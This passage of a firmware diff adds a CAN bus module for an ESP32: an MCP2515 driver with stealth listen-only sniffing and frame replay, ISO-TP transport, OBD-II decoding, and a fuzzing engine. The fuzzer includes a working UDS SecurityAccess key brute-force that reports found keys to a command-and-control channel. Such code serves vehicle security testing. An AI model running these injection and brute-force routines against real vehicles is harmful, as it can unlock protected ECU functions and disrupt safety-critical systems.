ESP_LOGW(TAG, "Replay: send failed at frame %d", i);
}
}
ESP_LOGI(TAG, "Replay complete (%d frames)", count);
return true;
}
#endif /* CONFIG_MODULE_CANBUS */

View File

@ -0,0 +1,117 @@
/*
* canbus_driver.h
* MCP2515 CAN controller driver via SPI.
* Abstracts all hardware details upper layers see only can_frame_t.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
/* ============================================================
* CAN Frame
* ============================================================ */
typedef struct {
uint32_t id; /* Arbitration ID (11 or 29 bit) */
uint8_t dlc; /* Data Length Code (0-8) */
uint8_t data[8]; /* Payload */
bool extended; /* Extended (29-bit) ID */
bool rtr; /* Remote Transmission Request */
int64_t timestamp_us; /* Microsecond timestamp (esp_timer_get_time) */
} can_frame_t;
/* ============================================================
* Operating Modes
* ============================================================ */
typedef enum {
CAN_MODE_NORMAL, /* Full TX/RX participation on bus */
CAN_MODE_LISTEN_ONLY, /* RX only, no ACK (stealth sniff) */
CAN_MODE_LOOPBACK, /* Self-test, TX frames loop back to RX */
} can_mode_t;
/* ============================================================
* RX Callback
* ============================================================ */
/* Called from RX task context (not ISR) — safe to call msg_data() etc. */
typedef void (*can_rx_callback_t)(const can_frame_t *frame, void *ctx);
/* ============================================================
* Driver Lifecycle
* ============================================================ */
/* Init SPI bus + MCP2515 reset + bit timing config */
bool can_driver_init(int bitrate, uint8_t osc_mhz);
/* Set MCP2515 to operational mode, start RX task */
bool can_driver_start(can_mode_t mode);
/* Set MCP2515 to config mode, kill RX task */
void can_driver_stop(void);
/* Free SPI resources */
void can_driver_deinit(void);
/* Check if driver is running */
bool can_driver_is_running(void);
/* ============================================================
* TX / RX
* ============================================================ */
/* Send a single CAN frame (blocking until TX complete or timeout) */
bool can_driver_send(const can_frame_t *frame);
/* Register callback for received frames */
void can_driver_set_rx_callback(can_rx_callback_t cb, void *ctx);
/* Retrieve the currently installed RX callback */
void can_driver_get_rx_callback(can_rx_callback_t *cb, void **ctx);
/* ============================================================
* Hardware Filters (MCP2515 acceptance masks + filters)
* ============================================================ */
/* Set one of 6 acceptance filters (0-5). Filters 0-1 use mask 0, filters 2-5 use mask 1. */
bool can_driver_set_filter(int filter_idx, uint32_t id, bool extended);
/* Set one of 2 acceptance masks (0-1) */
bool can_driver_set_mask(int mask_idx, uint32_t mask, bool extended);
/* Clear all filters — accept all frames */
void can_driver_clear_filters(void);
/* ============================================================
* Status / Diagnostics
* ============================================================ */
typedef struct {
uint32_t rx_count;
uint32_t tx_count;
uint32_t rx_errors; /* REC from MCP2515 */
uint32_t tx_errors; /* TEC from MCP2515 */
uint32_t bus_errors;
uint32_t rx_overflow; /* RX buffer overflow count */
bool bus_off; /* TEC > 255 */
bool error_passive; /* TEC or REC > 127 */
const char *state; /* "stopped"/"running"/"bus_off"/"error_passive" */
} can_status_t;
void can_driver_get_status(can_status_t *out);
/* ============================================================
* Replay
* ============================================================ */
/* Replay recorded frames. speed_pct: 100=real-time, 0=max speed */
bool can_driver_replay(const can_frame_t *frames, int count, int speed_pct);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,359 @@
/*
* canbus_fuzz.c
* CAN bus fuzzing engine implementation.
*
* Runs as a FreeRTOS task on Core 1. Reports interesting responses to C2.
*/
#include "sdkconfig.h"
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_FUZZ)
#include <string.h>
#include "esp_log.h"
#include "esp_random.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include "canbus_fuzz.h"
#include "canbus_driver.h"
#include "utils.h"
#ifdef CONFIG_CANBUS_ISO_TP
#include "canbus_isotp.h"
#endif
#define TAG "CAN_FUZZ"
static volatile bool s_fuzz_running = false;
static TaskHandle_t s_fuzz_task = NULL;
static fuzz_config_t s_fuzz_cfg;
static const char *s_fuzz_req_id = NULL;
static uint32_t s_fuzz_count = 0;
static uint32_t s_fuzz_responses = 0;
static SemaphoreHandle_t s_fuzz_mutex = NULL;
/* ============================================================
* Response detector callback
* ============================================================ */
/* Temporary callback to detect responses during fuzzing */
static can_rx_callback_t s_prev_cb = NULL;
static void *s_prev_ctx = NULL;
static void fuzz_rx_callback(const can_frame_t *frame, void *ctx)
{
(void)ctx;
/* Count any response and report interesting ones */
s_fuzz_responses++;
/* Report to C2 */
char line[96];
snprintf(line, sizeof(line), "FUZZ_RSP|%03lX|%u|",
(unsigned long)frame->id, frame->dlc);
size_t off = strlen(line);
for (int i = 0; i < frame->dlc && off < sizeof(line) - 2; i++) {
off += snprintf(line + off, sizeof(line) - off, "%02X", frame->data[i]);
}
msg_data(TAG, line, strlen(line), false, s_fuzz_req_id);
/* Chain to original callback */
if (s_prev_cb) s_prev_cb(frame, s_prev_ctx);
}
/* ============================================================
* Fuzz Modes
* ============================================================ */
/* ID Scan: send fixed payload on every ID in range */
static void fuzz_id_scan(void)
{
uint8_t data[8];
memcpy(data, s_fuzz_cfg.seed_data, 8);
uint8_t dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8;
for (uint32_t id = s_fuzz_cfg.id_start;
id <= s_fuzz_cfg.id_end && s_fuzz_running;
id++) {
can_frame_t frame = {
.id = id,
.dlc = dlc,
.extended = (id > 0x7FF),
.rtr = false,
};
memcpy(frame.data, data, 8);
can_driver_send(&frame);
s_fuzz_count++;
if (s_fuzz_cfg.delay_ms > 0) {
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
}
if (s_fuzz_cfg.max_iterations > 0 && s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) {
break;
}
}
}
/* Data Mutate: for a fixed ID, try all values for each byte */
static void fuzz_data_mutate(void)
{
can_frame_t frame = {
.id = s_fuzz_cfg.target_id,
.dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8,
.extended = (s_fuzz_cfg.target_id > 0x7FF),
.rtr = false,
};
memcpy(frame.data, s_fuzz_cfg.seed_data, 8);
/* For each byte position, try all 256 values */
for (int pos = 0; pos < frame.dlc && s_fuzz_running; pos++) {
uint8_t original = frame.data[pos];
for (int val = 0; val < 256 && s_fuzz_running; val++) {
frame.data[pos] = (uint8_t)val;
can_driver_send(&frame);
s_fuzz_count++;
if (s_fuzz_cfg.delay_ms > 0) {
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
}
if (s_fuzz_cfg.max_iterations > 0 &&
s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) {
return;
}
}
frame.data[pos] = original; /* Restore for next position */
}
}
/* Random: random ID + random data */
static void fuzz_random(void)
{
int max_iter = s_fuzz_cfg.max_iterations > 0
? s_fuzz_cfg.max_iterations
: 10000;
for (int i = 0; i < max_iter && s_fuzz_running; i++) {
uint32_t rand_val = esp_random();
can_frame_t frame = {
.id = rand_val & 0x7FF, /* Standard ID range */
.dlc = (uint8_t)((esp_random() % 8) + 1),
.extended = false,
.rtr = false,
};
/* Fill with random data */
uint32_t r1 = esp_random();
uint32_t r2 = esp_random();
memcpy(&frame.data[0], &r1, 4);
memcpy(&frame.data[4], &r2, 4);
can_driver_send(&frame);
s_fuzz_count++;
if (s_fuzz_cfg.delay_ms > 0) {
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
}
}
}
/* UDS Auth: brute-force SecurityAccess key */
static void fuzz_uds_auth(void)
{
#ifdef CONFIG_CANBUS_ISO_TP
uint32_t tx_id = s_fuzz_cfg.target_id;
uint32_t rx_id = tx_id + 0x08;
int max_iter = s_fuzz_cfg.max_iterations > 0
? s_fuzz_cfg.max_iterations
: 65536;
ESP_LOGI(TAG, "UDS auth brute-force on TX=0x%03lX", (unsigned long)tx_id);
for (int attempt = 0; attempt < max_iter && s_fuzz_running; attempt++) {
/* Step 1: Request seed (SecurityAccess level 0x01) */
uint8_t seed_req[2] = { 0x27, 0x01 };
uint8_t resp[32];
size_t resp_len = 0;
isotp_status_t st = isotp_request(
tx_id, rx_id, seed_req, 2,
resp, sizeof(resp), &resp_len, 1000
);
if (st != ISOTP_OK || resp_len < 2) {
vTaskDelay(pdMS_TO_TICKS(100));
continue;
}
/* Check for exceededAttempts NRC (0x36) — back off */
if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x36) {
ESP_LOGW(TAG, "ExceededAttempts — waiting 10s");
vTaskDelay(pdMS_TO_TICKS(10000));
continue;
}
/* Check for timeDelayNotExpired NRC (0x37) — back off */
if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x37) {
ESP_LOGW(TAG, "TimeDelayNotExpired — waiting 10s");
vTaskDelay(pdMS_TO_TICKS(10000));
continue;
}
/* Positive seed response: 0x67, 0x01, seed bytes */
if (resp[0] != 0x67 || resp[1] != 0x01) continue;
int seed_len = (int)resp_len - 2;
if (seed_len <= 0 || seed_len > 8) continue;
/* Step 2: Try key (incremental or random based on iteration) */
uint8_t key_req[10] = { 0x27, 0x02 };
int key_len;
if (seed_len <= 2) {
/* Short seed: try sequential */
key_len = seed_len;
key_req[2] = (uint8_t)(attempt >> 8);
if (key_len > 1) key_req[3] = (uint8_t)(attempt & 0xFF);
else key_req[2] = (uint8_t)(attempt & 0xFF);
} else {
/* Long seed: try random keys */
key_len = seed_len;
uint32_t r1 = esp_random();
uint32_t r2 = esp_random();
memcpy(&key_req[2], &r1, 4);
if (key_len > 4) memcpy(&key_req[6], &r2, key_len - 4);
}
resp_len = 0;
st = isotp_request(
tx_id, rx_id, key_req, 2 + key_len,
resp, sizeof(resp), &resp_len, 1000
);
s_fuzz_count++;
if (st == ISOTP_OK && resp_len >= 2 && resp[0] == 0x67) {
/* SUCCESS! */
char line[64];
snprintf(line, sizeof(line), "FUZZ_UDS_KEY_FOUND|0x%03lX|",
(unsigned long)tx_id);
size_t off = strlen(line);
for (int k = 0; k < key_len && off < sizeof(line) - 2; k++) {
off += snprintf(line + off, sizeof(line) - off, "%02X", key_req[2 + k]);
}
msg_data(TAG, line, strlen(line), false, s_fuzz_req_id);
ESP_LOGI(TAG, "Security key found!");
s_fuzz_running = false;
break;
}
if (s_fuzz_cfg.delay_ms > 0) {
vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms));
}
/* Progress report every 100 attempts */
if ((attempt % 100) == 99) {
char progress[48];
snprintf(progress, sizeof(progress), "FUZZ_UDS_PROGRESS|%d", attempt + 1);
msg_data(TAG, progress, strlen(progress), false, s_fuzz_req_id);
}
}
#else
ESP_LOGE(TAG, "UDS auth fuzz requires CONFIG_CANBUS_ISO_TP");
s_fuzz_running = false;
#endif
}
/* ============================================================
* Fuzz Task
* ============================================================ */
static void fuzz_task(void *arg)
{
(void)arg;
ESP_LOGI(TAG, "Fuzzing started: mode=%d", s_fuzz_cfg.mode);
s_fuzz_count = 0;
s_fuzz_responses = 0;
switch (s_fuzz_cfg.mode) {
case FUZZ_MODE_ID_SCAN: fuzz_id_scan(); break;
case FUZZ_MODE_DATA_MUTATE: fuzz_data_mutate(); break;
case FUZZ_MODE_RANDOM: fuzz_random(); break;
case FUZZ_MODE_UDS_AUTH: fuzz_uds_auth(); break;
}
/* Report completion */
char done[80];
snprintf(done, sizeof(done), "FUZZ_DONE|sent=%"PRIu32"|responses=%"PRIu32,
s_fuzz_count, s_fuzz_responses);
msg_data(TAG, done, strlen(done), true, s_fuzz_req_id);
s_fuzz_running = false;
s_fuzz_task = NULL;
vTaskDelete(NULL);
}
/* ============================================================
* Public API
* ============================================================ */
bool can_fuzz_start(const fuzz_config_t *cfg, const char *request_id)
{
if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex();
xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY);
if (s_fuzz_running) {
ESP_LOGW(TAG, "Fuzzing already in progress");
xSemaphoreGive(s_fuzz_mutex);
return false;
}
if (!can_driver_is_running()) {
ESP_LOGE(TAG, "CAN driver not running");
xSemaphoreGive(s_fuzz_mutex);
return false;
}
s_fuzz_cfg = *cfg;
s_fuzz_req_id = request_id;
s_fuzz_running = true;
BaseType_t ret = xTaskCreatePinnedToCore(
fuzz_task, "can_fuzz", 4096, NULL, 3, &s_fuzz_task, 1
);
if (ret != pdPASS) {
s_fuzz_running = false;
xSemaphoreGive(s_fuzz_mutex);
return false;
}
xSemaphoreGive(s_fuzz_mutex);
return true;
}
void can_fuzz_stop(void)
{
if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex();
xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY);
s_fuzz_running = false;
xSemaphoreGive(s_fuzz_mutex);
for (int i = 0; i < 20 && s_fuzz_task != NULL; i++) {
vTaskDelay(pdMS_TO_TICKS(50));
}
}
bool can_fuzz_is_running(void)
{
return s_fuzz_running;
}
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_FUZZ */

View File

@ -0,0 +1,42 @@
/*
* canbus_fuzz.h
* CAN bus fuzzing engine ID scan, data mutation, random injection, UDS auth brute-force.
*/
#pragma once
#include <stdint.h>
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
FUZZ_MODE_ID_SCAN, /* Iterate all CAN IDs, fixed payload */
FUZZ_MODE_DATA_MUTATE, /* Fixed ID, mutate data bytes systematically */
FUZZ_MODE_RANDOM, /* Random ID + random data */
FUZZ_MODE_UDS_AUTH, /* Brute-force UDS SecurityAccess keys */
} fuzz_mode_t;
typedef struct {
fuzz_mode_t mode;
uint32_t id_start, id_end; /* For ID_SCAN range */
uint32_t target_id; /* For DATA_MUTATE / UDS_AUTH */
int delay_ms; /* Inter-frame delay */
int max_iterations; /* 0 = unlimited */
uint8_t seed_data[8]; /* Initial data for mutation */
uint8_t seed_dlc; /* DLC for seed data */
} fuzz_config_t;
/* Start fuzzing in background task. request_id for C2 streaming. */
bool can_fuzz_start(const fuzz_config_t *cfg, const char *request_id);
/* Stop fuzzing */
void can_fuzz_stop(void);
/* Check if fuzzing is active */
bool can_fuzz_is_running(void);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,416 @@
/*
* canbus_isotp.c
* ISO-TP (ISO 15765-2) transport layer implementation.
*
* Frame types:
* Single Frame (SF): [0x0N | data...] N = length (1-7)
* First Frame (FF): [0x1H 0xLL | 6 bytes] H:L = total length (up to 4095)
* Consecutive Frame (CF): [0x2N | 7 bytes] N = sequence (0-F, wrapping)
* Flow Control (FC): [0x30 BS ST] BS=block size, ST=separation time
*/
#include "sdkconfig.h"
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_ISO_TP)
#include <string.h>
#include "freertos/FreeRTOS.h"
#include "freertos/semphr.h"
#include "esp_timer.h"
#include "esp_log.h"
#include "canbus_isotp.h"
#include "canbus_driver.h"
#define TAG "CAN_ISOTP"
/* Max ISO-TP payload (12-bit length field) */
#define ISOTP_MAX_LEN 4095
/* Reassembly buffer (static — single concurrent transfer) */
static uint8_t s_reassembly[ISOTP_MAX_LEN];
/* Synchronization: RX callback puts frame here, isotp functions wait on semaphore */
static SemaphoreHandle_t s_rx_sem = NULL;
static can_frame_t s_rx_frame;
static volatile uint32_t s_listen_id = 0;
static volatile bool s_listening = false;
/* Previous RX callback to chain */
static can_rx_callback_t s_prev_cb = NULL;
static void *s_prev_ctx = NULL;
/* ============================================================
* Internal RX callback for ISO-TP framing
* ============================================================ */
static void isotp_rx_callback(const can_frame_t *frame, void *ctx)
{
(void)ctx;
/* If we're listening for a specific ID, capture it */
if (s_listening && frame->id == s_listen_id) {
s_rx_frame = *frame;
if (s_rx_sem) xSemaphoreGive(s_rx_sem);
}
/* Chain to previous callback (sniff/record) */
if (s_prev_cb) s_prev_cb(frame, s_prev_ctx);
}
/* ============================================================
* Helpers
* ============================================================ */
static void isotp_init_once(void)
{
if (!s_rx_sem) {
s_rx_sem = xSemaphoreCreateBinary();
}
}
/* Hook our callback, saving the previous one */
static void isotp_hook_rx(uint32_t listen_id)
{
isotp_init_once();
s_listen_id = listen_id;
s_listening = true;
/* Clear any pending semaphore */
xSemaphoreTake(s_rx_sem, 0);
}
static void isotp_unhook_rx(void)
{
s_listening = false;
s_listen_id = 0;
}
/* Wait for a frame with the target ID, timeout in ms */
static bool wait_frame(can_frame_t *out, int timeout_ms)
{
if (xSemaphoreTake(s_rx_sem, pdMS_TO_TICKS(timeout_ms)) == pdTRUE) {
*out = s_rx_frame;
return true;
}
return false;
}
/* Send a single CAN frame (helper) */
static bool send_frame(uint32_t id, const uint8_t *data, uint8_t dlc)
{
can_frame_t f = {
.id = id,
.dlc = dlc,
.extended = (id > 0x7FF),
.rtr = false,
.timestamp_us = 0,
};
memcpy(f.data, data, dlc);
return can_driver_send(&f);
}
/* Send Flow Control frame: CTS (continue to send) */
static bool send_fc(uint32_t tx_id, uint8_t block_size, uint8_t st_min)
{
uint8_t fc[8] = { 0x30, block_size, st_min, 0, 0, 0, 0, 0 };
return send_frame(tx_id, fc, 8);
}
/* ============================================================
* isotp_send Send ISO-TP message
* ============================================================ */
isotp_status_t isotp_send(uint32_t tx_id, uint32_t rx_id,
const uint8_t *data, size_t len,
int timeout_ms)
{
if (!data || len == 0 || len > ISOTP_MAX_LEN) return ISOTP_ERROR;
isotp_init_once();
/* Single Frame: len <= 7 */
if (len <= 7) {
uint8_t sf[8] = { 0 };
sf[0] = (uint8_t)(len & 0x0F); /* PCI: 0x0N */
memcpy(&sf[1], data, len);
if (!send_frame(tx_id, sf, 8)) return ISOTP_ERROR;
return ISOTP_OK;
}
/* Multi-frame: First Frame + wait FC + Consecutive Frames */
/* Send First Frame */
uint8_t ff[8] = { 0 };
ff[0] = 0x10 | (uint8_t)((len >> 8) & 0x0F);
ff[1] = (uint8_t)(len & 0xFF);
memcpy(&ff[2], data, 6);
if (!send_frame(tx_id, ff, 8)) return ISOTP_ERROR;
/* Wait for Flow Control */
isotp_hook_rx(rx_id);
can_frame_t fc;
if (!wait_frame(&fc, timeout_ms)) {
isotp_unhook_rx();
ESP_LOGW(TAG, "FC timeout from 0x%03lX", (unsigned long)rx_id);
return ISOTP_TIMEOUT;
}
isotp_unhook_rx();
/* Parse FC */
if ((fc.data[0] & 0xF0) != 0x30) {
ESP_LOGW(TAG, "Expected FC, got PCI 0x%02X", fc.data[0]);
return ISOTP_ERROR;
}
uint8_t block_size = fc.data[1]; /* 0 = no limit */
uint8_t st_min = fc.data[2]; /* Separation time in ms */
/* Send Consecutive Frames */
size_t offset = 6; /* First 6 bytes already sent in FF */
uint8_t seq = 1;
uint8_t blocks_sent = 0;
while (offset < len) {
uint8_t cf[8] = { 0 };
cf[0] = 0x20 | (seq & 0x0F);
size_t chunk = len - offset;
if (chunk > 7) chunk = 7;
memcpy(&cf[1], &data[offset], chunk);
if (!send_frame(tx_id, cf, 8)) return ISOTP_ERROR;
offset += chunk;
seq = (seq + 1) & 0x0F;
blocks_sent++;
/* Respect separation time */
if (st_min > 0 && st_min <= 127) {
vTaskDelay(pdMS_TO_TICKS(st_min));
}
/* Block size flow control */
if (block_size > 0 && blocks_sent >= block_size && offset < len) {
blocks_sent = 0;
isotp_hook_rx(rx_id);
if (!wait_frame(&fc, timeout_ms)) {
isotp_unhook_rx();
return ISOTP_TIMEOUT;
}
isotp_unhook_rx();
if ((fc.data[0] & 0xF0) != 0x30) return ISOTP_ERROR;
block_size = fc.data[1];
st_min = fc.data[2];
}
}
return ISOTP_OK;
}
/* ============================================================
* isotp_recv Receive ISO-TP message
* ============================================================ */
isotp_status_t isotp_recv(uint32_t rx_id,
uint8_t *buf, size_t buf_cap, size_t *out_len,
int timeout_ms)
{
if (!buf || buf_cap == 0 || !out_len) return ISOTP_ERROR;
*out_len = 0;
isotp_hook_rx(rx_id);
can_frame_t frame;
if (!wait_frame(&frame, timeout_ms)) {
isotp_unhook_rx();
return ISOTP_TIMEOUT;
}
uint8_t pci_type = frame.data[0] & 0xF0;
/* Single Frame */
if (pci_type == 0x00) {
isotp_unhook_rx();
size_t sf_len = frame.data[0] & 0x0F;
if (sf_len == 0 || sf_len > 7 || sf_len > buf_cap) return ISOTP_ERROR;
memcpy(buf, &frame.data[1], sf_len);
*out_len = sf_len;
return ISOTP_OK;
}
/* First Frame */
if (pci_type != 0x10) {
isotp_unhook_rx();
ESP_LOGW(TAG, "Expected SF/FF, got PCI 0x%02X", frame.data[0]);
return ISOTP_ERROR;
}
size_t total_len = ((size_t)(frame.data[0] & 0x0F) << 8) | frame.data[1];
if (total_len > buf_cap || total_len > ISOTP_MAX_LEN) {
isotp_unhook_rx();
return ISOTP_OVERFLOW;
}
/* Copy first 6 data bytes from FF */
size_t received = (total_len < 6) ? total_len : 6;
memcpy(buf, &frame.data[2], received);
/* We need to figure out the TX ID to send FC back.
* Convention: if rx_id is in 0x7E8-0x7EF range, tx_id = rx_id - 8.
* For functional requests, FC goes to rx_id - 8.
* Caller should use isotp_request() for proper bidirectional comms. */
uint32_t fc_tx_id = (rx_id >= 0x7E8 && rx_id <= 0x7EF)
? (rx_id - 8)
: (rx_id - 1);
/* Send Flow Control: continue, no block limit, 0ms separation */
send_fc(fc_tx_id, 0, 0);
/* Receive Consecutive Frames */
uint8_t expected_seq = 1;
while (received < total_len) {
if (!wait_frame(&frame, timeout_ms)) {
isotp_unhook_rx();
return ISOTP_TIMEOUT;
}
if ((frame.data[0] & 0xF0) != 0x20) {
isotp_unhook_rx();
ESP_LOGW(TAG, "Expected CF, got PCI 0x%02X", frame.data[0]);
return ISOTP_ERROR;
}
uint8_t seq = frame.data[0] & 0x0F;
if (seq != (expected_seq & 0x0F)) {
ESP_LOGW(TAG, "CF seq mismatch: expected %u, got %u",
expected_seq & 0x0F, seq);
}
expected_seq++;
size_t chunk = total_len - received;
if (chunk > 7) chunk = 7;
memcpy(&buf[received], &frame.data[1], chunk);
received += chunk;
}
isotp_unhook_rx();
*out_len = total_len;
return ISOTP_OK;
}
/* ============================================================
* isotp_request Send + Receive (UDS request-response pattern)
* ============================================================ */
isotp_status_t isotp_request(uint32_t tx_id, uint32_t rx_id,
const uint8_t *req, size_t req_len,
uint8_t *resp, size_t resp_cap, size_t *resp_len,
int timeout_ms)
{
if (!resp || !resp_len) return ISOTP_ERROR;
*resp_len = 0;
isotp_init_once();
/* For request-response, we need to listen before sending
* (the response may come very quickly after the request) */
isotp_hook_rx(rx_id);
/* Send request */
isotp_status_t st;
if (req_len <= 7) {
/* Single frame — send directly and wait for response */
uint8_t sf[8] = { 0 };
sf[0] = (uint8_t)(req_len & 0x0F);
memcpy(&sf[1], req, req_len);
if (!send_frame(tx_id, sf, 8)) {
isotp_unhook_rx();
return ISOTP_ERROR;
}
} else {
/* Multi-frame send — unhook first since isotp_send hooks itself */
isotp_unhook_rx();
st = isotp_send(tx_id, rx_id, req, req_len, timeout_ms);
if (st != ISOTP_OK) return st;
isotp_hook_rx(rx_id);
}
/* Wait for response (may be SF or FF+CF) */
can_frame_t frame;
if (!wait_frame(&frame, timeout_ms)) {
isotp_unhook_rx();
return ISOTP_TIMEOUT;
}
uint8_t pci_type = frame.data[0] & 0xF0;
/* Single Frame response */
if (pci_type == 0x00) {
isotp_unhook_rx();
size_t sf_len = frame.data[0] & 0x0F;
if (sf_len == 0 || sf_len > 7 || sf_len > resp_cap) return ISOTP_ERROR;
memcpy(resp, &frame.data[1], sf_len);
*resp_len = sf_len;
return ISOTP_OK;
}
/* First Frame response */
if (pci_type == 0x10) {
size_t total_len = ((size_t)(frame.data[0] & 0x0F) << 8) | frame.data[1];
if (total_len > resp_cap || total_len > ISOTP_MAX_LEN) {
isotp_unhook_rx();
return ISOTP_OVERFLOW;
}
size_t received = (total_len < 6) ? total_len : 6;
memcpy(resp, &frame.data[2], received);
/* Send FC */
send_fc(tx_id, 0, 0);
/* Receive CFs */
uint8_t expected_seq = 1;
while (received < total_len) {
if (!wait_frame(&frame, timeout_ms)) {
isotp_unhook_rx();
return ISOTP_TIMEOUT;
}
if ((frame.data[0] & 0xF0) != 0x20) {
isotp_unhook_rx();
return ISOTP_ERROR;
}
expected_seq++;
size_t chunk = total_len - received;
if (chunk > 7) chunk = 7;
memcpy(&resp[received], &frame.data[1], chunk);
received += chunk;
}
isotp_unhook_rx();
*resp_len = total_len;
return ISOTP_OK;
}
isotp_unhook_rx();
ESP_LOGW(TAG, "Unexpected PCI type 0x%02X in response", frame.data[0]);
return ISOTP_ERROR;
}
/* ============================================================
* Install ISO-TP RX hook into the CAN driver
* ============================================================ */
void isotp_install_hook(void)
{
isotp_init_once();
/* Save the current callback so we can chain to it */
can_driver_get_rx_callback(&s_prev_cb, &s_prev_ctx);
can_driver_set_rx_callback(isotp_rx_callback, NULL);
}
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_ISO_TP */

View File

@ -0,0 +1,70 @@
/*
* canbus_isotp.h
* ISO-TP (ISO 15765-2) transport layer for CAN bus.
* Handles multi-frame messaging (> 8 bytes) required by UDS and OBD-II.
*/
#pragma once
#include <stdint.h>
#include <stddef.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
ISOTP_OK = 0,
ISOTP_TIMEOUT,
ISOTP_OVERFLOW,
ISOTP_ERROR,
} isotp_status_t;
/*
* Send an ISO-TP message (blocking).
* Handles Single Frame for len <= 7, or First Frame + Consecutive Frames.
* Waits for Flow Control frame from receiver if multi-frame.
*
* tx_id: CAN arbitration ID for outgoing frames
* rx_id: CAN arbitration ID for incoming Flow Control
* data/len: payload to send
* timeout_ms: max wait for Flow Control response
*/
isotp_status_t isotp_send(uint32_t tx_id, uint32_t rx_id,
const uint8_t *data, size_t len,
int timeout_ms);
/*
* Receive an ISO-TP message (blocking).
* Reassembles Single Frame or First Frame + Consecutive Frames.
* Sends Flow Control frame to sender if multi-frame.
*
* rx_id: CAN arbitration ID to listen for
* buf/buf_cap: output buffer
* out_len: actual received length
* timeout_ms: max wait time
*/
isotp_status_t isotp_recv(uint32_t rx_id,
uint8_t *buf, size_t buf_cap, size_t *out_len,
int timeout_ms);
/*
* Request-Response: send then receive (most common UDS pattern).
* Combines isotp_send() + isotp_recv() with proper FC handling.
*
* tx_id/rx_id: CAN ID pair (e.g. 0x7E0/0x7E8 for ECU diagnostics)
*/
isotp_status_t isotp_request(uint32_t tx_id, uint32_t rx_id,
const uint8_t *req, size_t req_len,
uint8_t *resp, size_t resp_cap, size_t *resp_len,
int timeout_ms);
/*
* Install ISO-TP RX hook into the CAN driver callback chain.
* Must be called after can_driver_set_rx_callback() so that the
* previous callback (sniff/record) is preserved in the chain.
*/
void isotp_install_hook(void);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,357 @@
/*
* canbus_obd.c
* OBD-II PID decoder with lookup table for ~40 common PIDs.
*
* Uses ISO-TP for communication (even single-frame OBD fits in SF,
* but VIN and DTC responses may require multi-frame).
*/
#include "sdkconfig.h"
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_OBD)
#include <stdio.h>
#include <string.h>
#include "esp_log.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/semphr.h"
#include "canbus_obd.h"
#include "canbus_isotp.h"
#include "canbus_driver.h"
#include "utils.h"
#define TAG "CAN_OBD"
/* ============================================================
* PID Decoder Table
* ============================================================ */
typedef float (*decode_fn_t)(const uint8_t *data, int len);
typedef struct {
uint8_t pid;
const char *name;
const char *unit;
int data_bytes; /* Expected response data bytes (A, AB, ABC...) */
decode_fn_t decode;
} pid_decoder_t;
/* Decode functions — all check buffer length before access */
static float decode_a(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0]; }
static float decode_a_minus_40(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] - 40.0f; }
static float decode_a_percent(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] * 100.0f / 255.0f; }
static float decode_ab(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]); }
static float decode_ab_div_4(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 4.0f; }
static float decode_a_div_2_m64(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] / 2.0f - 64.0f; }
static float decode_ab_div_100(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 100.0f; }
static float decode_a_x3(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] * 3.0f; }
static float decode_ab_div_20(const uint8_t *d, int len) { if (len < 2) return 0.0f; return (float)((d[0] << 8) | d[1]) / 20.0f; }
static float decode_signed_a_minus_128(const uint8_t *d, int len) { if (len < 1) return 0.0f; return (float)d[0] - 128.0f; }
static const pid_decoder_t s_pid_table[] = {
/* PID Name Unit Bytes Decoder */
{ 0x04, "Engine Load", "%", 1, decode_a_percent },
{ 0x05, "Coolant Temp", "C", 1, decode_a_minus_40 },
{ 0x06, "Short Fuel Trim B1", "%", 1, decode_signed_a_minus_128 },
{ 0x07, "Long Fuel Trim B1", "%", 1, decode_signed_a_minus_128 },
{ 0x0B, "Intake MAP", "kPa", 1, decode_a },
{ 0x0C, "Engine RPM", "rpm", 2, decode_ab_div_4 },
{ 0x0D, "Vehicle Speed", "km/h", 1, decode_a },
{ 0x0E, "Timing Advance", "deg", 1, decode_a_div_2_m64 },
{ 0x0F, "Intake Temp", "C", 1, decode_a_minus_40 },
{ 0x10, "MAF Rate", "g/s", 2, decode_ab_div_100 },
{ 0x11, "Throttle Position", "%", 1, decode_a_percent },
{ 0x1C, "OBD Standard", "", 1, decode_a },
{ 0x1F, "Engine Runtime", "s", 2, decode_ab },
